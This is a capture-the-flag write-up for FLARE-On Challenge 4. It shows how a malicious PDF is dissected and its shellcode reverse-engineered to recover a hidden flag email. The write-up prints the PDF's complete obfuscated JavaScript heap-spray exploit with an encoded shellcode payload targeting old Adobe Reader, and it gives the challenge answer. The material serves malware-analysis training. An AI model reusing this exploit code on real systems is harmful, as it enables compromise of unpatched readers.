The-FLARE-On-Challenge-01/Challenge-4
You are here | Challenge 4
|
Uncompress the archive
Download the file: http://www.flare-on.com/files/C4.zip
Let's uncompress the archive:
$ 7z x C4.zip 7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18 p7zip Version 9.20 (locale=fr_FR.utf8,Utf16=on,HugeFiles=on,4 CPUs) Processing archive: C4.zip Extracting APT9001.pdf Enter password (will not be echoed) : malware Everything is Ok Size: 21284 Compressed: 17794
It results in a PDF file:
$ file APT9001.pdf APT9001.pdf: PDF document, version 1.5
- md5: f2bf6b87b5ab15a1889bddbe0be0903f
- sha1: 58c93841ee644a5d2f5062bb755c6b9477ec6c0b
- sha256: 15f3d918c4781749e3c9f470740485fa01d58fd0b003e2f0be171d80ce3b1c2c
What happens when you open the file?
If you open the file in an unpatched (e.g. version 9) version of Adobe Reader, you will get the following screen:
We can assume that the message corresponds to the encrypted email address we're looking for.
Analysis of the PDF
We could analyze the PDF with jsunpack but let's detail the steps.
We can see that there is JavaScript in the PDF:
$ pdfid APT9001.pdf PDFiD 0.1.2 APT9001.pdf PDF Header: %PDF-1.5 obj 10 endobj 9 stream 3 endstream 3 xref 2 trailer 2 startxref 2 /Page 3(2) /Encrypt 0 /ObjStm 0 /JS 1(1) /JavaScript 1(1) /AA 0 /OpenAction 1(1) /AcroForm 0 /JBIG2Decode 1(1) /RichMedia 0 /Launch 0 /EmbeddedFile 0 /XFA 0 /Colors > 2^24 0
If we look for javascript, we can see that it's in object 5, referencing object 6:
$ pdf-parser.py --search=javascript APT9001.pdf obj 5 0 Type: /Action Referencing: 6 0 R << /Type /Action /S /JavaScript /JS 6 0 R >>
pdfobjflow can show the relationship of the objects:
Now,let's have a look at object 6:
$ pdf-parser.py -f --object=6 APT9001.pdf obj 6 0 Type: Referencing: Contains stream << /Length 6170 /Filter '[ \r\n /Fla#74eDe#63o#64#65 /AS#43IIHexD#65cod#65 ]' >> '\n var HdPN = "";\n var zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf = "";\n var IxTUQnOvHg = unescape("%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7e24%u437c%ue180%ub115%ub3b2%u4f66%u27b6%u9f3c%u7a4e%u412d%ubbbf%u7705%uf528%u9293%u9990%ua998%u0a47%u14eb%u3d49%u484b%u372f%ub98d%u3478%u0bb4%ud5d2%ue031%u3572%ud610%u6740%u2bbe%u4afd%u041c%u3f97%ufc3a%u7479%u421d%ub7b5%u0c2c%u130d%u25f8%u76b0%u4e79%u7bb1%u0c66%u2dbb%u911c%ua92f%ub82c%u8db0%u0d7e%u3b96%u49d4%ud56b%u03b7%ue1f7%u467d%u77b9%u3d42%u111d%u67e0%u4b92%ueb85%u2471%u9b48%uf902%u4f15%u04ba%ue300%u8727%u9fd6%u4770%u187a%u73e2%ufd1b%u2574%u437c%u4190%u97b6%u1499%u783c%u8337%ub3f8%u7235%u693f%u98f5%u7fbe%u4a75%ub493%ub5a8%u21bf%ufcd0%u3440%u057b%ub2b2%u7c71%u814e%u22e1%u04eb%u884a%u2ce2%u492d%u8d42%u75b3%uf523%u727f%ufc0b%u0197%ud3f7%u90f9%u41be%ua81c%u7d25%ub135%u7978%uf80a%ufd32%u769b%u921d%ubbb4%u77b8%u707e%u4073%u0c7a%ud689%u2491%u1446%u9fba%uc087%u0dd4%u4bb0%ub62f%ue381%u0574%u3fb9%u1b67%u93d5%u8396%u66e0%u47b5%u98b7%u153c%ua934%u3748%u3d27%u4f75%u8cbf%u43e2%ub899%u3873%u7deb%u257a%uf985%ubb8d%u7f91%u9667%ub292%u4879%u4a3c%ud433%u97a9%u377e%ub347%u933d%u0524%u9f3f%ue139%u3571%u23b4%ua8d6%u8814%uf8d1%u4272%u76ba%ufd08%ube41%ub54b%u150d%u4377%u1174%u78e3%ue020%u041c%u40bf%ud510%ub727%u70b1%uf52b%u222f%u4efc%u989b%u901d%ub62c%u4f7c%u342d%u0c66%ub099%u7b49%u787a%u7f7e%u7d73%ub946%ub091%u928d%u90bf%u21b7%ue0f6%u134b%u29f5%u67eb%u2577%ue186%u2a05%u66d6%ua8b9%u1535%u4296%u3498%ub199%ub4ba%ub52c%uf812%u4f93%u7b76%u3079%ubefd%u3f71%u4e40%u7cb3%u2775%ue209%u4324%u0c70%u182d%u02e3%u4af9%ubb47%u41b6%u729f%u9748%ud480%ud528%u749b%u1c3c%ufc84%u497d%u7eb8%ud26b%u1de0%u0d76%u3174%u14eb%u3770%u71a9%u723d%ub246%u2f78%u047f%ub6a9%u1c7b%u3a73%u3ce1%u19be%u34f9%ud500%u037a%ue2f8%ub024%ufd4e%u3d79%u7596%u9b15%u7c49%ub42f%u9f4f%u4799%uc13b%ue3d0%u4014%u903f%u41bf%u4397%ub88d%ub548%u0d77%u4ab2%u2d93%u9267%ub198%ufc1a%ud4b9%ub32c%ubaf5%u690c%u91d6%u04a8%u1dbb%u4666%u2505%u35b7%u3742%u4b27%ufc90%ud233%u30b2%uff64%u5a32%u528b%u8b0c%u1452%u728b%u3328%ub1c9%u3318%u33ff%uacc0%u613c%u027c%u202c%ucfc1%u030d%ue2f8%u81f0%u5bff%u4abc%u8b6a%u105a%u128b%uda75%u538b%u033c%uffd3%u3472%u528b%u0378%u8bd3%u2072%uf303%uc933%uad41%uc303%u3881%u6547%u5074%uf475%u7881%u7204%u636f%u7541%u81eb%u0878%u6464%u6572%ue275%u8b49%u2472%uf303%u8b66%u4e0c%u728b%u031c%u8bf3%u8e14%ud303%u3352%u57ff%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u68d2%u3233%u0101%u8966%u247c%u6802%u7375%u7265%uff54%u68d0%u786f%u0141%udf8b%u5c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%u54ff%u2c24%u6857%u2144%u2121%u4f68%u4e57%u8b45%ue8dc%u0000%u0000%u148b%u8124%u0b72%ua316%u32fb%u7968%ubece%u8132%u1772%u45ae%u48cf%uc168%ue12b%u812b%u2372%u3610%ud29f%u7168%ufa44%u81ff%u2f72%ua9f7%u0ca9%u8468%ucfe9%u8160%u3b72%u93be%u43a9%ud268%u98a3%u8137%u4772%u8a82%u3b62%uef68%u11a4%u814b%u5372%u47d6%uccc0%ube68%ua469%u81ff%u5f72%ucaa3%u3154%ud468%u65ab%u8b52%u57cc%u5153%u8b57%u89f1%u83f7%u1ec7%ufe39%u0b7d%u3681%u4542%u4645%uc683%ueb04%ufff1%u68d0%u7365%u0173%udf8b%u5c88%u0324%u5068%u6f72%u6863%u7845%u7469%uff54%u2474%uff40%u2454%u5740%ud0ff");\n var MPBPtdcBjTlpvyTYkSwgkrWhXL = "";\n\n for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA=128;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA>=0;--EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) MPBPtdcBjTlpvyTYkSwgkrWhXL += unescape("%ub32f%u3791");\n ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv = MPBPtdcBjTlpvyTYkSwgkrWhXL + IxTUQnOvHg;\n OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY = unescape("%ub32f%u3791");\n fJWhwERSDZtaZXlhcREfhZjCCVqFAPS = 20;\n fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA = fJWhwERSDZtaZXlhcREfhZjCCVqFAPS+ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv.length\n while (OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length<fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA) OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY+=OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY;\n UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb = OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.substring(0, fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA);\n MOysyGgYplwyZzNdETHwkru = OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.substring(0, OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length-fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA);\n while(MOysyGgYplwyZzNdETHwkru.length+fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA < 0x40000) MOysyGgYplwyZzNdETHwkru = MOysyGgYplwyZzNdETHwkru+MOysyGgYplwyZzNdETHwkru+UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb;\n DPwxazRhwbQGu = new Array();\n for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA=0;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA<100;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) DPwxazRhwbQGu[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = MOysyGgYplwyZzNdETHwkru + ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv;\n\n for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA=142;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA>=0;--EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += unescape("%ub550%u0166");\n bGtvKT = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length + 20\n while (zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length < bGtvKT) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;\n Juphd = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, bGtvKT);\n QCZabMzxQiD = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length-bGtvKT);\n while(QCZabMzxQiD.length+bGtvKT < 0x40000) QCZabMzxQiD = QCZabMzxQiD+QCZabMzxQiD+Juphd;\n FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE = new Array();\n for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA=0;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA<125;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = QCZabMzxQiD + zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;\n'
Shellcode extraction
What is interesting here is the unicode string (%u72f9%u4649%u1525[...SNIP...]%u5740%ud0ff). Let's tranform it to hex:
$ cat shellcode.unicode | unicode2hex-escaped > shellcode.hex
$ cat ~/.bash_aliases function unicode2hex-escaped { perl -pe 's/[\"\s\+]//g; s/[%\\]u([a-fA-F0-9]{2})([a-fA-F0-9]{2})/\\x$2\\x$1/g;' ${*}; }
Now, let's use shellcode2exe to get the executable shellcode:
$ python shellcode2exe.py -s shellcode.hex shellcode.exe Shellcode to executable converter by Mario Vilas (mvilas at gmail dot com) Reading string shellcode from file shellcode.hex Generating executable file Writing file shellcode.exe Done.
Running shellcode.exe results in the same popup message we had previously with the PDF, which confirms we are on the right way.
Shellcode analysis
The MessageBox
If we open the shellcode into IDA-Pro, we notice that there is a call to EAX at offset 0x4013DD:
Let's open shellcode.exe into OllyDbg and put a breakpoint at 0x4013DD. When we run the program, it stops at this address and just a step in (F7) after, we see the call to the MessageBox:
As you can see, the Text field seems encrypted and we can assume that this is the encrypted form of the email address we're looking for. Now that we now that the call to EAX is the MessageBox, let's analyze the code to see the content that is sent to this function.
The XOR encryption
Static Analysis
The code just before the call to EAX is as follows:
.text:0040134C 57 push edi ; EDI = 0x0
.text:0040134D 68 44 21 21 21 push 21212144h ; 'D!!!'
.text:00401352 68 4F 57 4E 45 push 454E574Fh ; 'OWNE'
.text:00401357 8B DC mov ebx, esp ; EBX = 'OWNED!!!'
.text:00401359 E8 00 00 00 00 call $+5
.text:0040135E 8B 14 24 mov edx, [esp] ; EDX = 0x40135E
.text:00401361 81 72 0B 16 A3 FB 32 xor dword ptr [edx+0Bh], 32FBA316h ; DWORD at address 0x401369 (0x40135E + 0xB)
.text:00401361 ; will be XOR'ed with 0x32FBA316
.text:00401368 68 79 CE BE 32 push 32BECE79h
.text:0040136D 81 72 17 AE 45 CF 48 xor dword ptr [edx+17h], 48CF45AEh
.text:00401374 68 C1 2B E1 2B push 2BE12BC1h
.text:00401379 81 72 23 10 36 9F D2 xor dword ptr [edx+23h], 0D29F3610h
.text:00401380 68 71 44 FA FF push 0FFFA4471h
.text:00401385 81 72 2F F7 A9 A9 0C xor dword ptr [edx+2Fh], 0CA9A9F7h
.text:0040138C 68 84 E9 CF 60 push 60CFE984h
.text:00401391 81 72 3B BE 93 A9 43 xor dword ptr [edx+3Bh], 43A993BEh
.text:00401398 68 D2 A3 98 37 push 3798A3D2h
.text:0040139D 81 72 47 82 8A 62 3B xor dword ptr [edx+47h], 3B628A82h
.text:004013A4 68 EF A4 11 4B push 4B11A4EFh
.text:004013A9 81 72 53 D6 47 C0 CC xor dword ptr [edx+53h], 0CCC047D6h
.text:004013B0 68 BE 69 A4 FF push 0FFA469BEh
.text:004013B5 81 72 5F A3 CA 54 31 xor dword ptr [edx+5Fh], 3154CAA3h
.text:004013BC 68 D4 AB 65 52 push 5265ABD4h
.text:004013C1 8B CC mov ecx, esp ; ECX will contain the text in the clear
.text:004013C3 57 push edi ; uType (The contents and behavior of the dialog box)
.text:004013C4 53 push ebx ; lpCaption (The dialog box title) = "OWNED!!!"
.text:004013C5 51 push ecx ; lpText (The message to be displayed)
.text:004013C6 57 push edi ; hWnd (handle to the owner window of the message box to be created)
.text:004013C7 8B F1 mov esi, ecx
.text:004013C9 89 F7 mov edi, esi
.text:004013CB 83 C7 1E add edi, 1Eh
.text:004013CE
.text:004013CE loc_4013CE: ; CODE XREF: .text:004013DB�j
.text:004013CE 39 FE cmp esi, edi
.text:004013D0 7D 0B jge short loc_4013DD
.text:004013D2 81 36 42 45 45 46 xor dword ptr [esi], 46454542h
.text:004013D8 83 C6 04 add esi, 4
.text:004013DB EB F1 jmp short loc_4013CE
.text:004013DD ; ---------------------------------------------------------------------------
.text:004013DD
.text:004013DD loc_4013DD: ; CODE XREF: .text:004013D0�j
.text:004013DD FF D0 call eax
As explained here, the MessageBox function accepts 4 parameters. These are stored in registers and pushed on the stack:
Address | Parameter | Register | Value |
---|---|---|---|
0x4013C3 | uType (The contents and behavior of the dialog box) | edi | |
0x4013C4 | lpCaption (The dialog box title) | ebx | 'OWNED!!!' |
0x4013C5 | lpText (The message to be displayed) | ecx | Will store the email address in the clear |
0x4013C6 | hWnd (handle to the owner window of the message box to be created) | edi |
We want to know what value is pushed on the stack at 0x4013C5 (value of ECX). We see that ECX received the value of ESP at 0x4013C1 and that just before, several values are pushed on the stack.
The XOR instructions are actually patching the DWORD pushed on the instruction that comes next, as follows:
To decrypt this, let's write the following python code:
def patch_dword(loc, xor_key):
d = Dword(loc)
decoded_dword = d ^ xor_key
PatchDword(loc, decoded_dword)
# the comment shows the decoded strings
comment = ''.join([chr(Byte(loc+i)) for i in range(4)])
# the comment is 1 byte before the 1st patched byte
MakeComm(loc-1, comment)
edx = 0x40135E
patch_dword(edx+0x0B, 0x32FBA316)
patch_dword(edx+0x17, 0x48CF45AE)
patch_dword(edx+0x23, 0xD29F3610)
patch_dword(edx+0x2F, 0x0CA9A9F7)
patch_dword(edx+0x3B, 0x43A993BE)
patch_dword(edx+0x47, 0x3B628A82)
patch_dword(edx+0x53, 0xCCC047D6)
patch_dword(edx+0x5F, 0x3154CAA3)
print "Patch done!"
Here is what we get once the script is run:
Dynamic Analysis
In IDA Pro, if you scroll a bit above, you will discover where the string is built before being XOR'ed:
Back in OllyDbg, put a breakpoint at 0x4013C3 and run the program. It will show the solution:
The solution
The solution to challenge 4 is
[email protected]
Comments
Keywords: reverse-engineering challenge flare fireeye pdf shellcode